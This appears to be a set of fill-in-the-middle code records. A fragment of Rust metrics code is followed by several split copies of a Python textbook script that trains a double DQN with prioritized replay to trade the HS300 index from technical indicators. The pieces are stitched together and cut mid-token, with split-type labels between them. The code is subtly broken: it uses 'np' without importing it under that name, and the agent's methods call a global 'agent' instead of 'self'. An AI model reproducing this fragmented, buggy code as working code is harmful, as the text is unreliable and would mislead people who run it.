"electrscash_parse_blocks",
"# of block parsed (from blk*.dat)",
),
&["type"],
),
bytes_read: metrics.histogram(prometheus::HistogramOpts::new(
"electrscash_parse_bytes_read",
"# of bytes read (from blk*.dat)",
)),
}))
} | identifier_body |
chapter12.py | ##############################
## Case Study (section 12.2.3)
##############################
## DDQN + PER for trading/ Trader version
## states only contain tech index/ some positive results
##程序框架使用了网页(https://github.com/jaromiru/AI-blog)的DQN程序主体架构
#import random, numpy, math, gym, scipy
import random, numpy, math, scipy
class SumTree:
write = 0
def __init__(self, capacity):
self.capacity = capacity
self.tree = numpy.zeros( 2*capacity - 1 )
self.data = numpy.zeros( capacity, dtype=object )
def _propagate(self, idx, change):
parent = (idx - 1) // 2
self.tree[parent] += change
if parent != 0:
self._propagate(parent, change)
def _retrieve(self, idx, s):
left = 2 * idx + 1
right = left + 1
if left >= len(self.tree):
return idx
if s <= self.tree[left]:
return self._retrieve(left, s)
else:
return self._retrieve(right, s-self.tree[left])
def total(self):
return self.tree[0]
def add(self, p, data):
idx = self.write + self.capacity - 1
self.data[self.write] = data
self.update(idx, p)
self.write += 1
if self.write >= self.capacity:
self.write = 0
def update(self, idx, p):
change = p - self.tree[idx]
self.tree[idx] = p
self._propagate(idx, change)
def get(self, s):
idx = self._retrieve(0, s)
dataIdx = idx - self.capacity + 1
return (idx, self.tree[idx], self.data[dataIdx])
import tensorflow as tf
print(tf.VERSION) ## 1.14.0
print(tf.keras.__version__) ## 2.2.4-tf
from keras import backend as K
#import tensorflow.keras.backend as K
#from tensorflow.python.keras import backend as K
def hubert_loss(y_true, y_pred): # sqrt(1+a^2)-1
err = y_pred - y_true
return K.mean( K.sqrt(1+K.square(err))-1, axis=-1 )
#-------------------- BRAIN ---------------------------
from keras.models import Sequential
from keras.layers import *
from keras.optimizers import *
class Brain:
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.layer1_para = layers_para[0]
self.layer2_para = layers_para[1]
self.model = self._createModel()
self.model_ = self._createModel() # target network
def _createModel(self):
model = | )
model.add(Dense(self.layer1_para, kernel_initializer='lecun_uniform', input_shape=(self.stateCnt,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(self.layer2_para, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(3, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def _createModel2(self):
model = Sequential()
model.add(Dense(164, kernel_initializer='lecun_uniform', input_shape=(64,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(150, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(1, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def train(self, x, y, epoch=1, verbose=0):
self.model.fit(x, y, batch_size=32, epochs=epoch, verbose=verbose)
def predict(self, s, target=False):
if target:
return self.model_.predict(s)
else:
return self.model.predict(s)
def predictOne(self, s, target=False):
return self.predict(s.reshape(1, self.stateCnt), target=target).flatten()
def updateTargetModel(self):
self.model_.set_weights(self.model.get_weights())
#-------------------- MEMORY --------------------------
class Memory: # stored as ( s, a, r, s_ ) in SumTree
e = 0.01
a = 0.6
def __init__(self, capacity):
self.tree = SumTree(capacity)
def _getPriority(self, error):
return (error + self.e) ** self.a
def add(self, error, sample):
p = self._getPriority(error)
self.tree.add(p, sample)
def sample(self, n):
batch = []
segment = self.tree.total() / n
for i in range(n):
a = segment * i
b = segment * (i + 1)
s = random.uniform(a, b)
(idx, p, data) = self.tree.get(s)
batch.append( (idx, data) )
return batch
def update(self, idx, error):
p = self._getPriority(error)
self.tree.update(idx, p)
#-------------------- AGENT ---------------------------
MEMORY_CAPACITY = 80000
BATCH_SIZE = 30
GAMMA = 0.95
MAX_EPSILON = 1
MIN_EPSILON = 0.01
EXPLORATION_STOP = 50000 # at this step epsilon will be 0.01
LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay
UPDATE_TARGET_FREQUENCY = 1000
class Agent:
steps = 0
eps_steps = 0
epsilon = MAX_EPSILON
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.brain = Brain(stateCnt, actionCnt, layers_para)
self.memory = Memory(MEMORY_CAPACITY)
def act(self, s):
if random.random() < self.epsilon:
return random.randint(0, self.actionCnt-1)
else:
return numpy.argmax(self.brain.predictOne(s))
def observe(self, sample): # in (s, a, r, s_) format
x, y, errors = self._getTargets([(0, sample)])
self.memory.add(errors[0], sample)
if self.steps % UPDATE_TARGET_FREQUENCY == 0:
self.brain.updateTargetModel()
# slowly decrease Epsilon based on our eperience
self.steps += 1
self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps)
def _getTargets(self, batch):
no_state = numpy.zeros(self.stateCnt)
states = numpy.array([ o[1][0] for o in batch ])
states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ])
p = agent.brain.predict(states)
p_ = agent.brain.predict(states_, target=False)
pTarget_ = agent.brain.predict(states_, target=True)
x = numpy.zeros((len(batch), self.stateCnt))
y = numpy.zeros((len(batch), self.actionCnt))
errors = numpy.zeros(len(batch))
for i in range(len(batch)):
o = batch[i][1]
s = o[0]; a = o[1]; r = o[2]; s_ = o[3]; done = o[4]
t = p[i]
oldVal = t[a]
if done:
t[a] = r
else:
t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN
x[i] = s
y[i] = t
errors[i] = abs(oldVal - t[a])
return (x, y, errors)
def replay(self):
batch = self.memory.sample(BATCH_SIZE)
x, y, errors = self._getTargets(batch)
#update errors
for i in range(len(batch)):
idx = batch[i][0]
self.memory.update(idx, errors[i])
self.brain.train(x, y)
##########################
## start
##########################
## processing data
import talib as ta
import pandas as pd
import matplotlib.pyplot as plt
path_HS300 = r'D:\hot\book\data\SZ399300.TXT'
hs300 = pd.read_table(path_HS300,sep='\s+',header=None,encoding = 'gbk')
hsindex = hs300[0:-1]
datax = hsindex
datax.columns = ['date','open','high','low','close','volume','turnover']
openx = np.asarray(datax['open'])
closex = np.asarray(datax['close'])
highx = np.asarray(datax['high'])
lowx = np.asarray(datax['low'])
volumex = np.asarray(datax['volume'])
turnoverx = np.asarray(datax['turnover'])
roc1 = ta.ROC(closex,1)
roc5 = ta.ROC(closex,5)
roc10 = ta.ROC(closex,10)
rsi = ta.RSI(closex,14)
ultosc = ta.ULTOSC(highx,lowx,closex)
slowk,slowd = ta.STOCH(highx,lowx,closex)
slow_diff = slowk - slowd
adx = ta.ADX(highx,lowx,closex,14)
ppo = ta.PPO(closex)
willr = ta.WILLR(highx,lowx,closex)
cci = ta.CCI(highx,lowx,closex)
bop = ta.BOP(openx,highx,lowx,closex)
std_p20 = ta.STDDEV(closex,20)
angle = ta.LINEARREG_ANGLE(closex)
mfi = ta.MFI(highx,lowx,closex,volumex)
adosc = ta.ADOSC(highx,lowx,closex,turnoverx)
## obtian training data
start_day = '20150105'
end_day = '20150714'
st = (datax['date']==start_day).nonzero()[0][0]
ed = (datax['date']==end_day).nonzero()[0][0]
features = np.column_stack((roc1, roc5, roc10,rsi,ultosc,slowk,slow_diff,adx,ppo,willr,\
cci,bop,std_p20,angle,mfi,adosc))
features2 = np.float64(features[st:ed,:])
close2 = closex[st:ed]
mu1 = np.mean(features2,axis = 0)
std1 = np.std(features2,axis = 0)
Xt = (features2 - mu1)/std1
Xt[Xt>3] = 3
Xt[Xt<-3] = -3
n,p = Xt.shape
stateCnt = p
actionCnt = 3
layers_para = [100,100]
epochs = 100
agent = Agent(stateCnt, actionCnt, layers_para)
for i in range(epochs):
j = 0
R = 0
while j<n-1:
s = Xt[j,:]
a = agent.act(s)
s_ = Xt[j+1,:]
r = (close2[j+1] - close2[j])*(a - 1)
done = False
agent.observe( (s.reshape(stateCnt,), a, r, s_.reshape(stateCnt,),done) )
agent.replay()
s = s_
R += r
j += 1
print([i,R])
####################################
## insample test
####################################
j = 0
R = 0
pnl = [R]
actions = []
while j<n-1:
s = Xt[j,:]
a = numpy.argmax(agent.brain.predictOne(s))
#a = random.randint(0, actionCnt-1)
actions.append(a)
r = (close2[j+1] - close2[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative insample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\insample')
#R
### plot the results
#u = numpy.arange(n)
#loc2 = numpy.asarray(actions)==2
#u2 = u[loc2]
#close22 = close2[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2[loc0]
#plt.plot(u,close2,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
####################################
## out-of-sample test
####################################
start_day = '20150715'
end_day = '20151207'
nst = (datax['date']==start_day).nonzero()[0][0]
ned = (datax['date']==end_day).nonzero()[0][0]
featurest = np.float64(features[nst:ned,:])
close2t = closex[nst:ned]
Xtt = (featurest - mu1)/std1
Xtt[Xtt>3] = 3
Xtt[Xtt<-3] = -3
j = 0
R = 0
actions = []
pnl = [R]
qval_seq = []
while j<ned - nst:
s = Xtt[j,:]
qval = agent.brain.predictOne(s)
a = numpy.argmax(qval)
qval_seq.append(qval)
actions.append(a)
if j <ned - nst -1:
r = (close2t[j+1] - close2t[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative out-of-sample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\outsample')
#u = numpy.arange(ned-nst)
#loc2 = numpy.asarray(actions)==2 ## long is red short is greed
#u2 = u[loc2]
#close22 = close2t[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2t[loc0]
#plt.plot(u,close2t,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
#plt.plot(u,np.array(pnl) + 2000)
#plot(pnl-close2t+3800)
| Sequential( | identifier_name |
chapter12.py | ##############################
## Case Study (section 12.2.3)
##############################
## DDQN + PER for trading/ Trader version
## states only contain tech index/ some positive results
##程序框架使用了网页(https://github.com/jaromiru/AI-blog)的DQN程序主体架构
#import random, numpy, math, gym, scipy
import random, numpy, math, scipy
class SumTree:
write = 0
def __init__(self, capacity):
self.capacity = capacity
self.tree = numpy.zeros( 2*capacity - 1 )
self.data = numpy.zeros( capacity, dtype=object )
def _propagate(self, idx, change):
parent = (idx - 1) // 2
self.tree[parent] += change
if parent != 0:
self._propagate(parent, change)
def _retrieve(self, idx, s):
left = 2 * idx + 1
right = left + 1
if left >= len(self.tree):
return idx
if s <= self.tree[left]:
return self._retrieve(left, s)
else:
return self._retrieve(right, s-self.tree[left])
def total(self):
return self.tree[0]
def add(self, p, data):
idx = self.write + self.capacity - 1
self.data[self.write] = data
self.update(idx, p)
self.write += 1
if self.write >= self.capacity:
self.write = 0
def update(self, idx, p):
change = p - self.tree[idx]
self.tree[idx] = p
self._propagate(idx, change)
def get(self, s):
idx = self._retrieve(0, s)
| f.VERSION) ## 1.14.0
print(tf.keras.__version__) ## 2.2.4-tf
from keras import backend as K
#import tensorflow.keras.backend as K
#from tensorflow.python.keras import backend as K
def hubert_loss(y_true, y_pred): # sqrt(1+a^2)-1
err = y_pred - y_true
return K.mean( K.sqrt(1+K.square(err))-1, axis=-1 )
#-------------------- BRAIN ---------------------------
from keras.models import Sequential
from keras.layers import *
from keras.optimizers import *
class Brain:
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.layer1_para = layers_para[0]
self.layer2_para = layers_para[1]
self.model = self._createModel()
self.model_ = self._createModel() # target network
def _createModel(self):
model = Sequential()
model.add(Dense(self.layer1_para, kernel_initializer='lecun_uniform', input_shape=(self.stateCnt,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(self.layer2_para, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(3, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def _createModel2(self):
model = Sequential()
model.add(Dense(164, kernel_initializer='lecun_uniform', input_shape=(64,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(150, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(1, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def train(self, x, y, epoch=1, verbose=0):
self.model.fit(x, y, batch_size=32, epochs=epoch, verbose=verbose)
def predict(self, s, target=False):
if target:
return self.model_.predict(s)
else:
return self.model.predict(s)
def predictOne(self, s, target=False):
return self.predict(s.reshape(1, self.stateCnt), target=target).flatten()
def updateTargetModel(self):
self.model_.set_weights(self.model.get_weights())
#-------------------- MEMORY --------------------------
class Memory: # stored as ( s, a, r, s_ ) in SumTree
e = 0.01
a = 0.6
def __init__(self, capacity):
self.tree = SumTree(capacity)
def _getPriority(self, error):
return (error + self.e) ** self.a
def add(self, error, sample):
p = self._getPriority(error)
self.tree.add(p, sample)
def sample(self, n):
batch = []
segment = self.tree.total() / n
for i in range(n):
a = segment * i
b = segment * (i + 1)
s = random.uniform(a, b)
(idx, p, data) = self.tree.get(s)
batch.append( (idx, data) )
return batch
def update(self, idx, error):
p = self._getPriority(error)
self.tree.update(idx, p)
#-------------------- AGENT ---------------------------
MEMORY_CAPACITY = 80000
BATCH_SIZE = 30
GAMMA = 0.95
MAX_EPSILON = 1
MIN_EPSILON = 0.01
EXPLORATION_STOP = 50000 # at this step epsilon will be 0.01
LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay
UPDATE_TARGET_FREQUENCY = 1000
class Agent:
steps = 0
eps_steps = 0
epsilon = MAX_EPSILON
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.brain = Brain(stateCnt, actionCnt, layers_para)
self.memory = Memory(MEMORY_CAPACITY)
def act(self, s):
if random.random() < self.epsilon:
return random.randint(0, self.actionCnt-1)
else:
return numpy.argmax(self.brain.predictOne(s))
def observe(self, sample): # in (s, a, r, s_) format
x, y, errors = self._getTargets([(0, sample)])
self.memory.add(errors[0], sample)
if self.steps % UPDATE_TARGET_FREQUENCY == 0:
self.brain.updateTargetModel()
# slowly decrease Epsilon based on our eperience
self.steps += 1
self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps)
def _getTargets(self, batch):
no_state = numpy.zeros(self.stateCnt)
states = numpy.array([ o[1][0] for o in batch ])
states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ])
p = agent.brain.predict(states)
p_ = agent.brain.predict(states_, target=False)
pTarget_ = agent.brain.predict(states_, target=True)
x = numpy.zeros((len(batch), self.stateCnt))
y = numpy.zeros((len(batch), self.actionCnt))
errors = numpy.zeros(len(batch))
for i in range(len(batch)):
o = batch[i][1]
s = o[0]; a = o[1]; r = o[2]; s_ = o[3]; done = o[4]
t = p[i]
oldVal = t[a]
if done:
t[a] = r
else:
t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN
x[i] = s
y[i] = t
errors[i] = abs(oldVal - t[a])
return (x, y, errors)
def replay(self):
batch = self.memory.sample(BATCH_SIZE)
x, y, errors = self._getTargets(batch)
#update errors
for i in range(len(batch)):
idx = batch[i][0]
self.memory.update(idx, errors[i])
self.brain.train(x, y)
##########################
## start
##########################
## processing data
import talib as ta
import pandas as pd
import matplotlib.pyplot as plt
path_HS300 = r'D:\hot\book\data\SZ399300.TXT'
hs300 = pd.read_table(path_HS300,sep='\s+',header=None,encoding = 'gbk')
hsindex = hs300[0:-1]
datax = hsindex
datax.columns = ['date','open','high','low','close','volume','turnover']
openx = np.asarray(datax['open'])
closex = np.asarray(datax['close'])
highx = np.asarray(datax['high'])
lowx = np.asarray(datax['low'])
volumex = np.asarray(datax['volume'])
turnoverx = np.asarray(datax['turnover'])
roc1 = ta.ROC(closex,1)
roc5 = ta.ROC(closex,5)
roc10 = ta.ROC(closex,10)
rsi = ta.RSI(closex,14)
ultosc = ta.ULTOSC(highx,lowx,closex)
slowk,slowd = ta.STOCH(highx,lowx,closex)
slow_diff = slowk - slowd
adx = ta.ADX(highx,lowx,closex,14)
ppo = ta.PPO(closex)
willr = ta.WILLR(highx,lowx,closex)
cci = ta.CCI(highx,lowx,closex)
bop = ta.BOP(openx,highx,lowx,closex)
std_p20 = ta.STDDEV(closex,20)
angle = ta.LINEARREG_ANGLE(closex)
mfi = ta.MFI(highx,lowx,closex,volumex)
adosc = ta.ADOSC(highx,lowx,closex,turnoverx)
## obtian training data
start_day = '20150105'
end_day = '20150714'
st = (datax['date']==start_day).nonzero()[0][0]
ed = (datax['date']==end_day).nonzero()[0][0]
features = np.column_stack((roc1, roc5, roc10,rsi,ultosc,slowk,slow_diff,adx,ppo,willr,\
cci,bop,std_p20,angle,mfi,adosc))
features2 = np.float64(features[st:ed,:])
close2 = closex[st:ed]
mu1 = np.mean(features2,axis = 0)
std1 = np.std(features2,axis = 0)
Xt = (features2 - mu1)/std1
Xt[Xt>3] = 3
Xt[Xt<-3] = -3
n,p = Xt.shape
stateCnt = p
actionCnt = 3
layers_para = [100,100]
epochs = 100
agent = Agent(stateCnt, actionCnt, layers_para)
for i in range(epochs):
j = 0
R = 0
while j<n-1:
s = Xt[j,:]
a = agent.act(s)
s_ = Xt[j+1,:]
r = (close2[j+1] - close2[j])*(a - 1)
done = False
agent.observe( (s.reshape(stateCnt,), a, r, s_.reshape(stateCnt,),done) )
agent.replay()
s = s_
R += r
j += 1
print([i,R])
####################################
## insample test
####################################
j = 0
R = 0
pnl = [R]
actions = []
while j<n-1:
s = Xt[j,:]
a = numpy.argmax(agent.brain.predictOne(s))
#a = random.randint(0, actionCnt-1)
actions.append(a)
r = (close2[j+1] - close2[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative insample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\insample')
#R
### plot the results
#u = numpy.arange(n)
#loc2 = numpy.asarray(actions)==2
#u2 = u[loc2]
#close22 = close2[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2[loc0]
#plt.plot(u,close2,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
####################################
## out-of-sample test
####################################
start_day = '20150715'
end_day = '20151207'
nst = (datax['date']==start_day).nonzero()[0][0]
ned = (datax['date']==end_day).nonzero()[0][0]
featurest = np.float64(features[nst:ned,:])
close2t = closex[nst:ned]
Xtt = (featurest - mu1)/std1
Xtt[Xtt>3] = 3
Xtt[Xtt<-3] = -3
j = 0
R = 0
actions = []
pnl = [R]
qval_seq = []
while j<ned - nst:
s = Xtt[j,:]
qval = agent.brain.predictOne(s)
a = numpy.argmax(qval)
qval_seq.append(qval)
actions.append(a)
if j <ned - nst -1:
r = (close2t[j+1] - close2t[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative out-of-sample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\outsample')
#u = numpy.arange(ned-nst)
#loc2 = numpy.asarray(actions)==2 ## long is red short is greed
#u2 = u[loc2]
#close22 = close2t[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2t[loc0]
#plt.plot(u,close2t,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
#plt.plot(u,np.array(pnl) + 2000)
#plot(pnl-close2t+3800)
| dataIdx = idx - self.capacity + 1
return (idx, self.tree[idx], self.data[dataIdx])
import tensorflow as tf
print(t | identifier_body |
chapter12.py | ##############################
## Case Study (section 12.2.3)
##############################
## DDQN + PER for trading/ Trader version
## states only contain tech index/ some positive results
##程序框架使用了网页(https://github.com/jaromiru/AI-blog)的DQN程序主体架构
#import random, numpy, math, gym, scipy
import random, numpy, math, scipy
class SumTree:
write = 0
def __init__(self, capacity):
self.capacity = capacity
self.tree = numpy.zeros( 2*capacity - 1 )
self.data = numpy.zeros( capacity, dtype=object )
def _propagate(self, idx, change):
parent = (idx - 1) // 2
self.tree[parent] += change
if parent != 0:
self._propagate(parent, change)
def _retrieve(self, idx, s):
left = 2 * idx + 1
right = left + 1
if left >= len(self.tree):
return idx
if s <= self.tree[left]:
return self._retrieve(left, s)
else:
return self._retrieve(right, s-self.tree[left])
def total(self):
return self.tree[0]
def add(self, p, data):
idx = self.write + self.capacity - 1
self.data[self.write] = data
self.update(idx, p)
self.write += 1
if self.write >= self.capacity:
self.write = 0
def update(self, idx, p):
change = p - self.tree[idx]
self.tree[idx] = p
self._propagate(idx, change)
def get(self, s):
idx = self._retrieve(0, s)
dataIdx = idx - self.capacity + 1
return (idx, self.tree[idx], self.data[dataIdx])
import tensorflow as tf
print(tf.VERSION) ## 1.14.0
print(tf.keras.__version__) ## 2.2.4-tf
from keras import backend as K
#import tensorflow.keras.backend as K
#from tensorflow.python.keras import backend as K
def hubert_loss(y_true, y_pred): # sqrt(1+a^2)-1
err = y_pred - y_true
return K.mean( K.sqrt(1+K.square(err))-1, axis=-1 )
#-------------------- BRAIN ---------------------------
from keras.models import Sequential
from keras.layers import *
from keras.optimizers import *
class Brain:
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.layer1_para = layers_para[0]
self.layer2_para = layers_para[1]
self.model = self._createModel()
self.model_ = self._createModel() # target network
def _createModel(self):
model = Sequential()
model.add(Dense(self.layer1_para, kernel_initializer='lecun_uniform', input_shape=(self.stateCnt,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(self.layer2_para, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(3, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def _createModel2(self):
model = Sequential()
model.add(Dense(164, kernel_initializer='lecun_uniform', input_shape=(64,)))
model.add(Activation('relu'))
#model.add(Dropout(0.2)) I'm not using dropout, but maybe you wanna give it a try?
model.add(Dense(150, kernel_initializer='lecun_uniform'))
model.add(Activation('relu'))
#model.add(Dropout(0.2))
#model.add(Dense(150, init='lecun_uniform'))
#model.add(Activation('relu'))
model.add(Dense(1, kernel_initializer='lecun_uniform'))
model.add(Activation('linear')) #linear output so we can have range of real-valued outputs
opt = Adam()
model.compile(loss=hubert_loss, optimizer=opt)
return model
def train(self, x, y, epoch=1, verbose=0):
self.model.fit(x, y, batch_size=32, epochs=epoch, verbose=verbose)
def predict(self, s, target=False):
if target:
return self.model_.predict(s)
else:
return self.model.predict(s)
def predictOne(self, s, target=False):
return self.predict(s.reshape(1, self.stateCnt), target=target).flatten()
def updateTargetModel(self):
self.model_.set_weights(self.model.get_weights())
#-------------------- MEMORY --------------------------
class Memory: # stored as ( s, a, r, s_ ) in SumTree
e = 0.01
a = 0.6
def __init__(self, capacity):
self.tree = SumTree(capacity)
def _getPriority(self, error):
return (error + self.e) ** self.a
def add(self, error, sample):
p = self._getPriority(error)
self.tree.add(p, sample)
def sample(self, n):
batch = []
segment = self.tree.total() / n
for i in range(n):
a = segment * i
b = segment * (i + 1)
s = random.uniform(a, b)
(idx, p, data) = self.tree.get(s)
batch.append( (idx, data) )
return batch
def update(self, idx, error):
p = self._getPriority(error)
self.tree.update(idx, p)
#-------------------- AGENT ---------------------------
MEMORY_CAPACITY = 80000
BATCH_SIZE = 30
GAMMA = 0.95
MAX_EPSILON = 1
MIN_EPSILON = 0.01
EXPLORATION_STOP = 50000 # at this step epsilon will be 0.01
LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay
UPDATE_TARGET_FREQUENCY = 1000
class Agent:
steps = 0
eps_steps = 0
epsilon = MAX_EPSILON
def __init__(self, stateCnt, actionCnt,layers_para):
self.stateCnt = stateCnt
self.actionCnt = actionCnt
self.brain = Brain(stateCnt, actionCnt, layers_para)
self.memory = Memory(MEMORY_CAPACITY)
def act(self, s):
if random.random() < self.epsilon:
return random.randint(0, self.actionCnt-1)
else:
return numpy.argmax(self.brain.predictOne(s))
def observe(self, sample): # in (s, a, r, s_) format
x, y, errors = self._getTargets([(0, sample)])
self.memory.add(errors[0], sample)
if self.steps % UPDATE_TARGET_FREQUENCY == 0:
self.brain.updateTargetModel()
| n based on our eperience
self.steps += 1
self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps)
def _getTargets(self, batch):
no_state = numpy.zeros(self.stateCnt)
states = numpy.array([ o[1][0] for o in batch ])
states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ])
p = agent.brain.predict(states)
p_ = agent.brain.predict(states_, target=False)
pTarget_ = agent.brain.predict(states_, target=True)
x = numpy.zeros((len(batch), self.stateCnt))
y = numpy.zeros((len(batch), self.actionCnt))
errors = numpy.zeros(len(batch))
for i in range(len(batch)):
o = batch[i][1]
s = o[0]; a = o[1]; r = o[2]; s_ = o[3]; done = o[4]
t = p[i]
oldVal = t[a]
if done:
t[a] = r
else:
t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN
x[i] = s
y[i] = t
errors[i] = abs(oldVal - t[a])
return (x, y, errors)
def replay(self):
batch = self.memory.sample(BATCH_SIZE)
x, y, errors = self._getTargets(batch)
#update errors
for i in range(len(batch)):
idx = batch[i][0]
self.memory.update(idx, errors[i])
self.brain.train(x, y)
##########################
## start
##########################
## processing data
import talib as ta
import pandas as pd
import matplotlib.pyplot as plt
path_HS300 = r'D:\hot\book\data\SZ399300.TXT'
hs300 = pd.read_table(path_HS300,sep='\s+',header=None,encoding = 'gbk')
hsindex = hs300[0:-1]
datax = hsindex
datax.columns = ['date','open','high','low','close','volume','turnover']
openx = np.asarray(datax['open'])
closex = np.asarray(datax['close'])
highx = np.asarray(datax['high'])
lowx = np.asarray(datax['low'])
volumex = np.asarray(datax['volume'])
turnoverx = np.asarray(datax['turnover'])
roc1 = ta.ROC(closex,1)
roc5 = ta.ROC(closex,5)
roc10 = ta.ROC(closex,10)
rsi = ta.RSI(closex,14)
ultosc = ta.ULTOSC(highx,lowx,closex)
slowk,slowd = ta.STOCH(highx,lowx,closex)
slow_diff = slowk - slowd
adx = ta.ADX(highx,lowx,closex,14)
ppo = ta.PPO(closex)
willr = ta.WILLR(highx,lowx,closex)
cci = ta.CCI(highx,lowx,closex)
bop = ta.BOP(openx,highx,lowx,closex)
std_p20 = ta.STDDEV(closex,20)
angle = ta.LINEARREG_ANGLE(closex)
mfi = ta.MFI(highx,lowx,closex,volumex)
adosc = ta.ADOSC(highx,lowx,closex,turnoverx)
## obtian training data
start_day = '20150105'
end_day = '20150714'
st = (datax['date']==start_day).nonzero()[0][0]
ed = (datax['date']==end_day).nonzero()[0][0]
features = np.column_stack((roc1, roc5, roc10,rsi,ultosc,slowk,slow_diff,adx,ppo,willr,\
cci,bop,std_p20,angle,mfi,adosc))
features2 = np.float64(features[st:ed,:])
close2 = closex[st:ed]
mu1 = np.mean(features2,axis = 0)
std1 = np.std(features2,axis = 0)
Xt = (features2 - mu1)/std1
Xt[Xt>3] = 3
Xt[Xt<-3] = -3
n,p = Xt.shape
stateCnt = p
actionCnt = 3
layers_para = [100,100]
epochs = 100
agent = Agent(stateCnt, actionCnt, layers_para)
for i in range(epochs):
j = 0
R = 0
while j<n-1:
s = Xt[j,:]
a = agent.act(s)
s_ = Xt[j+1,:]
r = (close2[j+1] - close2[j])*(a - 1)
done = False
agent.observe( (s.reshape(stateCnt,), a, r, s_.reshape(stateCnt,),done) )
agent.replay()
s = s_
R += r
j += 1
print([i,R])
####################################
## insample test
####################################
j = 0
R = 0
pnl = [R]
actions = []
while j<n-1:
s = Xt[j,:]
a = numpy.argmax(agent.brain.predictOne(s))
#a = random.randint(0, actionCnt-1)
actions.append(a)
r = (close2[j+1] - close2[j])*(a - 1)
R += r
pnl.append(R)
j += 1
R
plt.plot(pnl)
plt.legend(['cumulative insample return'])
plt.savefig(r'D:\hot\book\chapter12\fig\insample')
#R
### plot the results
#u = numpy.arange(n)
#loc2 = numpy.asarray(actions)==2
#u2 = u[loc2]
#close22 = close2[loc2]
#loc0 = numpy.asarray(actions)==0
#u0 = u[loc0]
#close20 = close2[loc0]
#plt.plot(u,close2,'-')
#plt.hold(1)
#plt.plot(u2,close22,'or')
#plt.plot(u0,close20,'og')
####################################
## out-of-sample test
####################################
